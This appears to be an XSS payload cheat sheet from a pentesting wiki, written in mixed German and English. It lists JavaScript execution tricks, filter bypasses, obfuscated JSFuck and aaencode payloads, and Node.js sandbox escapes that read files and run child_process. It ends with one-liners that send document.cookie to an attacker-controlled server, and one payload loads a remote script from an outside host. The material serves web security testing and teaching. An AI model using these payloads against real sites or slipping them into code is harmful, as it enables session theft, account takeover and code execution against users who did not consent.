/* This is a multiline comment*/
<!--This is a 1line comment
#!This is a 1 line comment, but "#!" must to be at the beggining of the first line
-->This is a 1 line comment, but "-->" must to be at the beggining of the first line

JavaScript new lines (aus JavaScript new line Trick)

//Javascript interpret as new line these chars:
String.fromCharCode(10)
alert("//\nalert(1)") //0x0a
String.fromCharCode(13)
alert("//\ralert(1)") //0x0d
String.fromCharCode(8232)
alert("//\u2028alert(1)") //0xe2 0x80 0xa8
String.fromCharCode(8233)
alert("//\u2029alert(1)") //0xe2 0x80 0xa9

JavaScript Leerzeichen

log=[];
function funct(){}
for(let i=0;i<=0x10ffff;i++){
try{
eval(`funct${String.fromCodePoint(i)}()`);
log.push(i);
}
catch(e){}
}
console.log(log)
//9,10,11,12,13,32,160,5760,8192,8193,8194,8195,8196,8197,8198,8199,8200,8201,8202,8232,8233,8239,8287,12288,65279

//Either the raw characters can be used or you can HTML encode them if they appear in SVG or HTML attributes:
<img/src/onerror=alert&#65279;(1)>

Javascript in einem Kommentar

//If you can only inject inside a JS comment, you can still leak something
//If the user opens DevTools request to the indicated sourceMappingURL will be send

//# sourceMappingURL=https://evdr12qyinbtbd29yju31993gumlaby0.oastify.com

JavaScript ohne Klammern

// By setting location
window.location='javascript:alert\x281\x29'
x=new DOMMatrix;matrix=alert;x.a=1337;location='javascript'+':'+x
// or any DOMXSS sink such as location=name

// Backtips
// Backtips pass the string as an array of lenght 1
alert`1`

// Backtips + Tagged Templates + call/apply
eval`alert\x281\x29` // This won't work as it will just return the passed array
setTimeout`alert\x281\x29`
eval.call`${'alert\x281\x29'}`
eval.apply`${[`alert\x281\x29`]}`
[].sort.call`${alert}1337`
[].map.call`${eval}\\u{61}lert\x281337\x29`

// To pass several arguments you can use
function btt(){
console.log(arguments);
}
btt`${'arg1'}${'arg2'}${'arg3'}`

//It's possible to construct a function and call it
Function`x${'alert(1337)'}x`

// .replace can use regexes and call a function if something is found
"a,".replace`a${alert}` //Initial ["a"] is passed to str as "a," and thats why the initial string is "a,"
"a".replace.call`1${/./}${alert}`
// This happened in the previous example
// Change "this" value of call to "1,"
// match anything with regex /./
// call alert with "1"
"a".replace.call`1337${/..../}${alert}` //alert with 1337 instead

// Using Reflect.apply to call any function with any argumnets
Reflect.apply.call`${alert}${window}${[1337]}` //Pass the function to call (“alert”), then the “this” value to that function (“window”) which avoids the illegal invocation error and finally an array of arguments to pass to the function.
Reflect.apply.call`${navigation.navigate}${navigation}${[name]}`
// Using Reflect.set to call set any value to a variable
Reflect.set.call`${location}${'href'}${'javascript:alert\x281337\x29'}` // It requires a valid object in the first argument (“location”), a property in the second argument and a value to assign in the third.



// valueOf, toString
// These operations are called when the object is used as a primitive
// Because the objet is passed as "this" and alert() needs "window" to be the value of "this", "window" methods are used
valueOf=alert;window+''
toString=alert;window+''


// Error handler
window.onerror=eval;throw"=alert\x281\x29";
onerror=eval;throw"=alert\x281\x29";
<img src=x onerror="window.onerror=eval;throw'=alert\x281\x29'">
{onerror=eval}throw"=alert(1)" //No ";"
onerror=alert //No ";" using new line
throw 1337
// Error handler + Special unicode separators
eval("onerror=\u2028alert\u2029throw 1337");
// Error handler + Comma separator
// The comma separator goes through the list and returns only the last element
var a = (1,2,3,4,5,6) // a = 6
throw onerror=alert,1337 // this is throw 1337, after setting the onerror event to alert
throw onerror=alert,1,1,1,1,1,1337
// optional exception variables inside a catch clause.
try{throw onerror=alert}catch{throw 1}


// Has instance symbol
'alert\x281\x29'instanceof{[Symbol['hasInstance']]:eval}
'alert\x281\x29'instanceof{[Symbol.hasInstance]:eval}
// The “has instance” symbol allows you to customise the behaviour of the instanceof operator, if you set this symbol it will pass the left operand to the function defined by the symbol.

Beliebiger Funktionsaufruf (alert)

//Eval like functions
eval('ale'+'rt(1)')
setTimeout('ale'+'rt(2)');
setInterval('ale'+'rt(10)');
Function('ale'+'rt(10)')``;
[].constructor.constructor("alert(document.domain)")``
[]["constructor"]["constructor"]`$${alert()}```
import('data:text/javascript,alert(1)')

//General function executions
`` //Can be use as parenthesis
alert`document.cookie`
alert(document['cookie'])
with(document)alert(cookie)
(alert)(1)
(alert(1))in"."
a=alert,a(1)
[1].find(alert)
window['alert'](0)
parent['alert'](1)
self['alert'](2)
top['alert'](3)
this['alert'](4)
frames['alert'](5)
content['alert'](6)
[7].map(alert)
[8].find(alert)
[9].every(alert)
[10].filter(alert)
[11].findIndex(alert)
[12].forEach(alert);
top[/al/.source+/ert/.source](1)
top[8680439..toString(30)](1)
Function("ale"+"rt(1)")();
new Function`al\ert\`6\``;
Set.constructor('ale'+'rt(13)')();
Set.constructor`al\x65rt\x2814\x29```;
$='e'; x='ev'+'al'; x=this[x]; y='al'+$+'rt(1)'; y=x(y); x(y)
x='ev'+'al'; x=this[x]; y='ale'+'rt(1)'; x(x(y))
this[[]+('eva')+(/x/,new Array)+'l'](/xxx.xxx.xxx.xxx.xx/+alert(1),new Array)
globalThis[`al`+/ert/.source]`1`
this[`al`+/ert/.source]`1`
[alert][0].call(this,1)
window['a'+'l'+'e'+'r'+'t']()
window['a'+'l'+'e'+'r'+'t'].call(this,1)
top['a'+'l'+'e'+'r'+'t'].apply(this,[1])
(1,2,3,4,5,6,7,8,alert)(1)
x=alert,x(1)
[1].find(alert)
top["al"+"ert"](1)
top[/al/.source+/ert/.source](1)
al\u0065rt(1)
al\u0065rt`1`
top['al\145rt'](1)
top['al\x65rt'](1)
top[8680439..toString(30)](1)
<svg><animate onbegin=alert() attributeName=x></svg>

DOM vulnerabilities

Es gibt JS code, der unsichere, vom Angreifer kontrollierte Daten verwendet, wie location.href. Ein Angreifer könnte dies ausnutzen, um beliebigen JS-Code auszuführen.
Aufgrund der ausführlicheren Erklärung zu DOM vulnerabilities wurde es auf diese Seite verschoben:

DOM XSS

Dort findest du eine detaillierte Erklärung, was DOM vulnerabilities sind, wie sie ausgelöst werden und wie man sie ausnutzt.
Vergiss auch nicht, dass am Ende des genannten Beitrags eine Erklärung zu DOM Clobbering attacks zu finden ist.

Upgrading Self-XSS

Wenn du XSS auslösen kannst, indem du das Payload in einem Cookie sendest, ist das normalerweise ein Self-XSS. Wenn du jedoch eine vulnerable subdomain to XSS findest, könntest du diese XSS ausnutzen, um ein Cookie für die gesamte Domain zu injizieren und so die Cookie XSS in der Hauptdomain oder anderen Subdomains (denen, die für Cookie XSS verwundbar sind) auszulösen. Dafür kannst du den cookie tossing attack verwenden:

Cookie Tossing

Ein großartiges Beispiel für den Missbrauch dieser Technik findest du in diesem Blogpost.

Sending your session to the admin

Vielleicht kann ein User sein Profil mit dem admin teilen, und wenn das self XSS im Profil des Users liegt und der admin es aufruft, wird die Vulnerability getriggert.

Session Mirroring

Wenn du ein Self XSS findest und die Webseite ein session mirroring for administrators hat — zum Beispiel erlauben Kunden, um Hilfe zu bitten, und damit der Admin dir helfen kann, sieht er, was du in deiner Session siehst, aber aus seiner Session —

Du könntest den administrator dazu bringen, dein Self XSS zu triggern und seine Cookies/Session stehlen.

Other Bypasses

Bypassing sanitization via WASM linear-memory template overwrite

Wenn eine Web-App Emscripten/WASM verwendet, liegen konstante Strings (wie HTML-Format-Templates) im beschreibbaren linear memory. Ein einzelner In‑WASM-Overflow (z. B. unchecked memcpy in einem Edit-Pfad) kann benachbarte Strukturen korrumpieren und Schreibzugriffe auf diese Konstanten umlenken. Das Überschreiben einer Template wie “

%.*s

” zu “” verwandelt sanitised Input in einen JavaScript-Handler-Wert und führt beim Rendern sofort zu DOM XSS.

Sieh die dedizierte Seite mit Exploitation-Workflow, DevTools memory helpers und Gegenmaßnahmen an:

Wasm Linear Memory Template Overwrite Xss

Normalised Unicode

Du solltest prüfen, ob die reflected values auf dem Server (oder clientseitig) unicode-normalisiert werden, und diese Funktionalität missbrauchen, um Schutzmechanismen zu umgehen. Sieh ein Beispiel hier.

Bypass des PHP FILTER_VALIDATE_EMAIL Flags

"><svg/onload=confirm(1)>"@x.y

Ruby-On-Rails bypass

Aufgrund der RoR mass assignment werden Anführungszeichen im HTML eingefügt, wodurch die Beschränkung von Anführungszeichen umgangen wird und zusätzliche Felder (z. B. onfocus) innerhalb des Tags hinzugefügt werden können.\
Formularbeispiel (from this report), wenn du die payload sendest:

contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa

Das Paar “Key”,“Value” wird wie folgt zurückgegeben:

{" onfocus=javascript:alert(&#39;xss&#39;) autofocus a"=>"a"}

Dann wird das onfocus-Attribut eingefügt und XSS tritt auf.

Besondere Kombinationen

<iframe/src="data:text/html,<svg onload=alert(1)>">
<input type=image src onerror="prompt(1)">
<svg onload=alert(1)//
<img src="/" =_=" title="onerror='prompt(1)'">
<img src='1' onerror='alert(0)' <
<script x> alert(1) </script 1=2
<script x>alert('XSS')<script y>
<svg/onload=location=`javas`+`cript:ale`+`rt%2`+`81%2`+`9`;//
<svg////////onload=alert(1)>
<svg id=x;onload=alert(1)>
<svg id=`x`onload=alert(1)>
<img src=1 alt=al lang=ert onerror=top[alt+lang](0)>
<script>$=1,alert($)</script>
<script ~~~>confirm(1)</script ~~~>
<script>$=1,\u0061lert($)</script>
<</script/script><script>eval('\\u'+'0061'+'lert(1)')//</script>
<</script/script><script ~~~>\u0061lert(1)</script ~~~>
</style></scRipt><scRipt>alert(1)</scRipt>
<img src=x:prompt(eval(alt)) onerror=eval(src) alt=String.fromCharCode(88,83,83)>
<svg><x><script>alert('1'&#41</x>
<iframe src=""/srcdoc='<svg onload=alert(1)>'>
<svg><animate onbegin=alert() attributeName=x></svg>
<img/id="alert('XSS')\"/alt=\"/\"src=\"/\"onerror=eval(id)>
<img src=1 onerror="s=document.createElement('script');s.src='http://xss.rocks/xss.js';document.body.appendChild(s);">
(function(x){this[x+`ert`](1)})`al`
window[`al`+/e/[`ex`+`ec`]`e`+`rt`](2)
document['default'+'View'][`\u0061lert`](3)

XSS with header injection in a 302 response

Wenn du feststellst, dass du inject headers in a 302 Redirect response kannst, könntest du versuchen, make the browser execute arbitrary JavaScript. Das ist not trivial, da moderne Browser den HTTP-Antwortkörper nicht interpretieren, wenn der HTTP-Antwortstatuscode 302 ist, daher ist ein einfacher cross-site scripting Payload nutzlos.

In this report and this one kannst du nachlesen, wie du verschiedene Protokolle im Location header testen kannst und prüfen kannst, ob eines von ihnen dem Browser erlaubt, den XSS-Payload im Body zu inspizieren und auszuführen.
Past known protocols: mailto://, //x:1/, ws://, wss://, empty Location header, resource://.

Only Letters, Numbers and Dots

Wenn du den callback angeben kannst, den javascript execute wird, beschränkt auf diese Zeichen. Read this section of this post um herauszufinden, wie du dieses Verhalten ausnutzen kannst.

Valid <script> Content-Types to XSS

(From here) If you try to load a script with a content-type such as application/octet-stream, Chrome will throw following error:

Refused to execute script from ‘https://uploader.c.hc.lc/uploads/xxx’ because its MIME type (‘application/octet-stream’) is not executable, and strict MIME type checking is enabled.

The only Content-Types that will support Chrome to run a loaded script are the ones inside the const kSupportedJavascriptTypes from https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc

const char* const kSupportedJavascriptTypes[] = {
"application/ecmascript",
"application/javascript",
"application/x-ecmascript",
"application/x-javascript",
"text/ecmascript",
"text/javascript",
"text/javascript1.0",
"text/javascript1.1",
"text/javascript1.2",
"text/javascript1.3",
"text/javascript1.4",
"text/javascript1.5",
"text/jscript",
"text/livescript",
"text/x-ecmascript",
"text/x-javascript",
};

Script-Typen für XSS

(Aus here) Also, welche Typen könnten angegeben werden, um ein Script zu laden?

<script type="???"></script>

Die Antwort ist:

  • module (Standard, nichts zu erklären)
  • webbundle: Web Bundles ist eine Funktion, mit der man eine Menge Daten (HTML, CSS, JS…) in eine .wbn-Datei zusammenpacken kann.
<script type="webbundle">
{
"source": "https://example.com/dir/subresources.wbn",
"resources": ["https://example.com/dir/a.js", "https://example.com/dir/b.js", "https://example.com/dir/c.png"]
}
</script>
The resources are loaded from the source .wbn, not accessed via HTTP
  • importmap: Ermöglicht die Verbesserung der Import-Syntax
<script type="importmap">
{
"imports": {
"moment": "/node_modules/moment/src/moment.js",
"lodash": "/node_modules/lodash-es/lodash.js"
}
}
</script>

<!-- With importmap you can do the following -->
<script>
import moment from "moment"
import { partition } from "lodash"
</script>

Dieses Verhalten wurde in this writeup verwendet, um eine library auf eval umzuleiten; sein Missbrauch kann XSS auslösen.

  • speculationrules: Diese Funktion dient hauptsächlich dazu, einige Probleme zu lösen, die durch pre-rendering verursacht werden. Sie funktioniert folgendermaßen:
<script type="speculationrules">
{
"prerender": [
{ "source": "list", "urls": ["/page/2"], "score": 0.5 },
{
"source": "document",
"if_href_matches": ["https://*.wikipedia.org/**"],
"if_not_selector_matches": [".restricted-section *"],
"score": 0.1
}
]
}
</script>

Web Content-Types für XSS

(Von here) Die folgenden Content-Types können in allen Browsern XSS ausführen:

  • text/html
  • application/xhtml+xml
  • application/xml
  • text/xml
  • image/svg+xml
  • text/plain (?? not in the list but I think I saw this in a CTF)
  • application/rss+xml (off)
  • application/atom+xml (off)

In anderen Browsern können andere Content-Types verwendet werden, um beliebiges JS auszuführen, siehe: https://github.com/BlackFan/content-type-research/blob/master/XSS.md

xml Content Type

Wenn die Seite einen text/xml Content-Type zurückgibt, ist es möglich, einen Namespace anzugeben und beliebiges JS auszuführen:

<xml>
<text>hello<img src="1" onerror="alert(1)" xmlns="http://www.w3.org/1999/xhtml" /></text>
</xml>

<!-- Heyes, Gareth. JavaScript for hackers: Learn to think like a hacker (p. 113). Kindle Edition. -->

Spezielle Ersetzungsmuster

Wenn etwas wie "some {{template}} data".replace("{{template}}", <user_input>) verwendet wird. Der Angreifer könnte special string replacements nutzen, um einige Schutzmaßnahmen zu umgehen: "123 {{template}} 456".replace("{{template}}", JSON.stringify({"name": "$'$`alert(1)//"}))

Zum Beispiel wurde in this writeup damit ein JSON-String innerhalb eines Skripts geescaped und beliebiger Code ausgeführt.

Chrome Cache to XSS

Chrome Cache to XSS

XS Jails Escape

Wenn du nur eine begrenzte Menge an chars verwenden kannst, sieh dir diese anderen gültigen Lösungen für XSJail-Probleme an:

// eval + unescape + regex
eval(unescape(/%2f%0athis%2econstructor%2econstructor(%22return(process%2emainModule%2erequire(%27fs%27)%2ereadFileSync(%27flag%2etxt%27,%27utf8%27))%22)%2f/))()
eval(unescape(1+/1,this%2evalueOf%2econstructor(%22process%2emainModule%2erequire(%27repl%27)%2estart()%22)()%2f/))

// use of with
with(console)log(123)
with(/console.log(1)/index.html)with(this)with(constructor)constructor(source)()
// Just replace console.log(1) to the real code, the code we want to run is:
//return String(process.mainModule.require('fs').readFileSync('flag.txt'))

with(process)with(mainModule)with(require('fs'))return(String(readFileSync('flag.txt')))
with(k='fs',n='flag.txt',process)with(mainModule)with(require(k))return(String(readFileSync(n)))
with(String)with(f=fromCharCode,k=f(102,115),n=f(102,108,97,103,46,116,120,116),process)with(mainModule)with(require(k))return(String(readFileSync(n)))

//Final solution
with(
/with(String)
with(f=fromCharCode,k=f(102,115),n=f(102,108,97,103,46,116,120,116),process)
with(mainModule)
with(require(k))
return(String(readFileSync(n)))
/)
with(this)
with(constructor)
constructor(source)()

// For more uses of with go to challenge misc/CaaSio PSE in
// https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#misc/CaaSio%20PSE

Wenn vor der Ausführung von untrusted code wirklich alles undefined ist (wie in this writeup), ist es möglich, nützliche Objekte “aus dem Nichts” zu erzeugen, um die Ausführung arbitrary untrusted code zu missbrauchen:

  • Verwendung von import()
// although import "fs" doesn’t work, import('fs') does.
import("fs").then((m) => console.log(m.readFileSync("/flag.txt", "utf8")))
  • Indirekter Zugriff auf require

According to this werden Module von Node.js innerhalb einer Funktion eingepackt, wie folgt:

;(function (exports, require, module, __filename, __dirname) {
// our actual module code
})

Daher, wenn wir von diesem Modul aus eine andere Funktion aufrufen können, kann man arguments.callee.caller.arguments[1] in dieser Funktion verwenden, um auf require zuzugreifen:

;(function () {
return arguments.callee.caller.arguments[1]("fs").readFileSync(
"/flag.txt",
"utf8"
)
})()

Ähnlich wie im vorherigen Beispiel ist es möglich, use error handlers zu nutzen, um auf den wrapper des Moduls zuzugreifen und die require-Funktion zu erhalten:

try {
null.f()
} catch (e) {
TypeError = e.constructor
}
Object = {}.constructor
String = "".constructor
Error = TypeError.prototype.__proto__.constructor
function CustomError() {
const oldStackTrace = Error.prepareStackTrace
try {
Error.prepareStackTrace = (err, structuredStackTrace) =>
structuredStackTrace
Error.captureStackTrace(this)
this.stack
} finally {
Error.prepareStackTrace = oldStackTrace
}
}
function trigger() {
const err = new CustomError()
console.log(err.stack[0])
for (const x of err.stack) {
// use x.getFunction() to get the upper function, which is the one that Node.js adds a wrapper to, and then use arugments to get the parameter
const fn = x.getFunction()
console.log(String(fn).slice(0, 200))
console.log(fn?.arguments)
console.log("=".repeat(40))
if ((args = fn?.arguments)?.length > 0) {
req = args[1]
console.log(req("child_process").execSync("id").toString())
}
}
}
trigger()

Obfuscation & Advanced Bypass

//Katana
<script>
([,ウ,,,,ア]=[]+{}
,[ネ,ホ,ヌ,セ,,ミ,ハ,ヘ,,,ナ]=[!!ウ]+!ウ+ウ.ウ)[ツ=ア+ウ+ナ+ヘ+ネ+ホ+ヌ+ア+ネ+ウ+ホ][ツ](ミ+ハ+セ+ホ+ネ+'(-~ウ)')()
</script>
//JJencode
<script>$=~[];$={___:++$,$:(![]+"")[$],__$:++$,$_$_:(![]+"")[$],_$_:++$,$_$:({}+"")[$],$_$:($[$]+"")[$],_$:++$,$_:(!""+"")[$],$__:++$,$_$:++$,$__:({}+"")[$],$_:++$,$:++$,$___:++$,$__$:++$};$.$_=($.$_=$+"")[$.$_$]+($._$=$.$_[$.__$])+($.$=($.$+"")[$.__$])+((!$)+"")[$._$]+($.__=$.$_[$.$_])+($.$=(!""+"")[$.__$])+($._=(!""+"")[$._$_])+$.$_[$.$_$]+$.__+$._$+$.$;$.$=$.$+(!""+"")[$._$]+$.__+$._+$.$+$.$;$.$=($.___)[$.$_][$.$_];$.$($.$($.$+"\""+$.$_$_+(![]+"")[$._$_]+$.$_+"\\"+$.__$+$.$_+$._$_+$.__+"("+$.___+")"+"\"")())();</script>
//JSFuck
<script>
(+[])[([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+([][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[[+!+[]]+[!+[]+!+[]+!+[]+!+[]]]+[+[]]+([][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]])()
</script>
//aaencode
゚ω゚ノ = /`m´)ノ ~┻━┻   / /*´∇`*/["_"]
o = ゚ー゚ = _ = 3
c = ゚Θ゚ = ゚ー゚ - ゚ー゚
゚Д゚ = ゚Θ゚ = (o ^ _ ^ o) / (o ^ _ ^ o)
゚Д゚ = {
゚Θ゚: "_",
゚ω゚ノ: ((゚ω゚ノ == 3) + "_")[゚Θ゚],
゚ー゚ノ: (゚ω゚ノ + "_")[o ^ _ ^ (o - ゚Θ゚)],
゚Д゚ノ: ((゚ー゚ == 3) + "_")[゚ー゚],
}
゚Д゚[゚Θ゚] = ((゚ω゚ノ == 3) + "_")[c ^ _ ^ o]
゚Д゚["c"] = (゚Д゚ + "_")[゚ー゚ + ゚ー゚ - ゚Θ゚]
゚Д゚["o"] = (゚Д゚ + "_")[゚Θ゚]
゚o゚ =
゚Д゚["c"] +
゚Д゚["o"] +
(゚ω゚ノ + "_")[゚Θ゚] +
((゚ω゚ノ == 3) + "_")[゚ー゚] +
(゚Д゚ + "_")[゚ー゚ + ゚ー゚] +
((゚ー゚ == 3) + "_")[゚Θ゚] +
((゚ー゚ == 3) + "_")[゚ー゚ - ゚Θ゚] +
゚Д゚["c"] +
(゚Д゚ + "_")[゚ー゚ + ゚ー゚] +
゚Д゚["o"] +
((゚ー゚ == 3) + "_")[゚Θ゚]
゚Д゚["_"] = (o ^ _ ^ o)[゚o゚][゚o゚]
゚ε゚ =
((゚ー゚ == 3) + "_")[゚Θ゚] +
゚Д゚.゚Д゚ノ +
(゚Д゚ + "_")[゚ー゚ + ゚ー゚] +
((゚ー゚ == 3) + "_")[o ^ _ ^ (o - ゚Θ゚)] +
((゚ー゚ == 3) + "_")[゚Θ゚] +
(゚ω゚ノ + "_")[゚Θ゚]
゚ー゚ += ゚Θ゚
゚Д゚[゚ε゚] = "\\"
゚Д゚.゚Θ゚ノ = (゚Д゚ + ゚ー゚)[o ^ _ ^ (o - ゚Θ゚)]
o゚ー゚o = (゚ω゚ノ + "_")[c ^ _ ^ o]
゚Д゚[゚o゚] = '"'
゚Д゚["_"](
゚Д゚["_"](
゚ε゚ +
゚Д゚[゚o゚] +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
゚Θ゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
(゚ー゚ + ゚Θ゚) +
゚ー゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
(゚ー゚ + ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
((o ^ _ ^ o) - ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
゚ー゚ +
゚Д゚[゚ε゚] +
(゚ー゚ + ゚Θ゚) +
(c ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚ー゚ +
((o ^ _ ^ o) - ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚Θ゚ +
(c ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
(゚ー゚ + ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
(゚ー゚ + ゚Θ゚) +
゚ー゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
(゚ー゚ + ゚Θ゚) +
゚ー゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
(゚ー゚ + ゚Θ゚) +
(゚ー゚ + (o ^ _ ^ o)) +
゚Д゚[゚ε゚] +
(゚ー゚ + ゚Θ゚) +
゚ー゚ +
゚Д゚[゚ε゚] +
゚ー゚ +
(c ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚Θ゚ +
((o ^ _ ^ o) - ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
゚Θ゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
゚Θ゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) - ゚Θ゚) +
(o ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
(o ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
((o ^ _ ^ o) - ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
(゚ー゚ + ゚Θ゚) +
゚Θ゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
(c ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
゚ー゚ +
゚Д゚[゚ε゚] +
゚ー゚ +
((o ^ _ ^ o) - ゚Θ゚) +
゚Д゚[゚ε゚] +
(゚ー゚ + ゚Θ゚) +
゚Θ゚ +
゚Д゚[゚o゚]
)(゚Θ゚)
)("_")
// It's also possible to execute JS code only with the chars: []`+!${}

XSS häufige payloads

Mehrere payloads in 1

Steal Info JS

Iframe Trap

Lasse den Benutzer auf der Seite navigieren, ohne das iframe zu verlassen, und stiehle seine Aktionen (einschließlich in Formularen übermittelter Informationen):

Iframe Traps

Cookies abrufen

<img src=x onerror=this.src="http://<YOUR_SERVER_IP>/?c="+document.cookie>
<img src=x onerror="location.href='http://<YOUR_SERVER_IP>/?c='+ document.cookie">
<script>new Image().src="http://<IP>/?c="+encodeURI(document.cookie);</script>
<script>new Audio().src="http://<IP>/?c="+escape(document.cookie);</script>
<script>location.href = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>location = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>document.location = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>document.location.href = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
